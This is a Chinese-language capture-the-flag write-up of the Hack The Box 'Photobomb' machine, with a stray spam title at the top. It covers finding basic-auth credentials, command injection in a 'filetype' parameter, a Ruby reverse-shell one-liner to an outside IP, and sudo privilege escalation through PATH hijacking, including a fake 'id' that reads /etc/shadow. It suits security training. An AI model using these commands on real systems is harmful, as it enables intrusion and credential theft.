網(wǎng)站建設(shè)公司在線qq客服代碼單頁網(wǎng)站怎么優(yōu)化
HTB-Photobomb
- 信息收集
- 開機(jī)
- 提權(quán)
- 對于問題的思考
信息收集
端口掃描
目標(biāo)首頁
有一個http Authorization
目錄掃描
在查看源碼的時候發(fā)現(xiàn)了一個js文件。
并且發(fā)現(xiàn)了訪問不存在的目錄會出現(xiàn)錯誤提示。
通過搜索得知
Sinatra 是一個基于 Ruby 語言的 DSL(領(lǐng)域?qū)僬Z言),可以輕松、快速的創(chuàng)建 web 應(yīng)用。-------Sinatra 中文文檔
通過上面發(fā)現(xiàn)了http Authorization的登陸憑證pH0t0:b0Mb!
,使用憑證登錄。
登陸進(jìn)去沒有發(fā)現(xiàn)什么,決定開始第二次信息收集,沒錯,沒有額外收獲。對其下載功能使用bp,能看見三個參數(shù)。
估計(jì)突破口在這三個參數(shù)當(dāng)中,誰知道呢,因?yàn)榍懊嬷繱inatra,所以首先考慮ruby,經(jīng)過簡單測試發(fā)現(xiàn)突破點(diǎn)應(yīng)在filetype,并且無法正確回彈。
開機(jī)
沒關(guān)系,至少證明我應(yīng)該找到方向了,但是為什么會回彈沒有完全成功。不會防火墻攔截了吧。更換了一個ruby的reshell腳本。
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.9",1234))'
提權(quán)
通過sudo -l能發(fā)現(xiàn)一個文件。
文件內(nèi)容與下,最重要的應(yīng)該是最后一句。在source_images目錄里找到所有jpg文件并且給予root:root。
立即想到的方法是通過這個腳本修改所屬者和組的權(quán)限,使用bash -p選項(xiàng)將root組添加至wizard用戶組。似乎不行。
雖然在hacktrick上找到了可能能用的方法,但是我沒研究出來。
又出現(xiàn)問題了,大概率是用法不對。
因?yàn)槟_本使用的find命令,注意這個find命令并不是絕對路徑。
又因?yàn)橄到y(tǒng)環(huán)境變量PATH里面有/usr/bin,所以我們能夠直接用find調(diào)用/usr/bin/find。
如果我對系統(tǒng)變量進(jìn)行修改,使之find為我們自己創(chuàng)建的一個同名文件。
接著要做的就是把/tmp目錄添加到系統(tǒng)環(huán)境變量里。
PATH=/tmp:$PATH
然后執(zhí)行腳本發(fā)現(xiàn)沒有作用,為什么呢。
然后嘗試以下方式能成功,這又是為什么。
對于問題的思考
為了知道那兩個為什么,我做了個實(shí)驗(yàn)。tee.sh里面只有id命令,然后當(dāng)前目錄下有一個id同名文件,在修改系統(tǒng)環(huán)境變量命令后面加上要執(zhí)行的腳本,就會出現(xiàn)要執(zhí)行的腳本使用前面系統(tǒng)環(huán)境變量里面的id文件(也就是當(dāng)前目錄下的id)。
id內(nèi)容如下。
tee.sh的內(nèi)容為。
先分開運(yùn)行看看。能看到加入環(huán)境變量前后id的命令發(fā)生了改變,并且再用sudo會發(fā)現(xiàn)tee.sh文件內(nèi)的id是查看用戶(組)的命令,而不是cat /etc/shadow。
這次加上合著一起用??梢钥吹绞褂胹udo執(zhí)行了當(dāng)前目錄文件id的cat /etc/shadow。
也就是說如果需要讓腳本內(nèi)的命令以某個路徑下的同名命令替換運(yùn)行并以sudo權(quán)限運(yùn)行的話就需要sudo PATH:somepath:$PATH somescript.sh
。至于為什么,我覺得以我目前的水平只能認(rèn)為這可能是一種固定的使用方式,至于真的是否如此,只有等日后探究真相。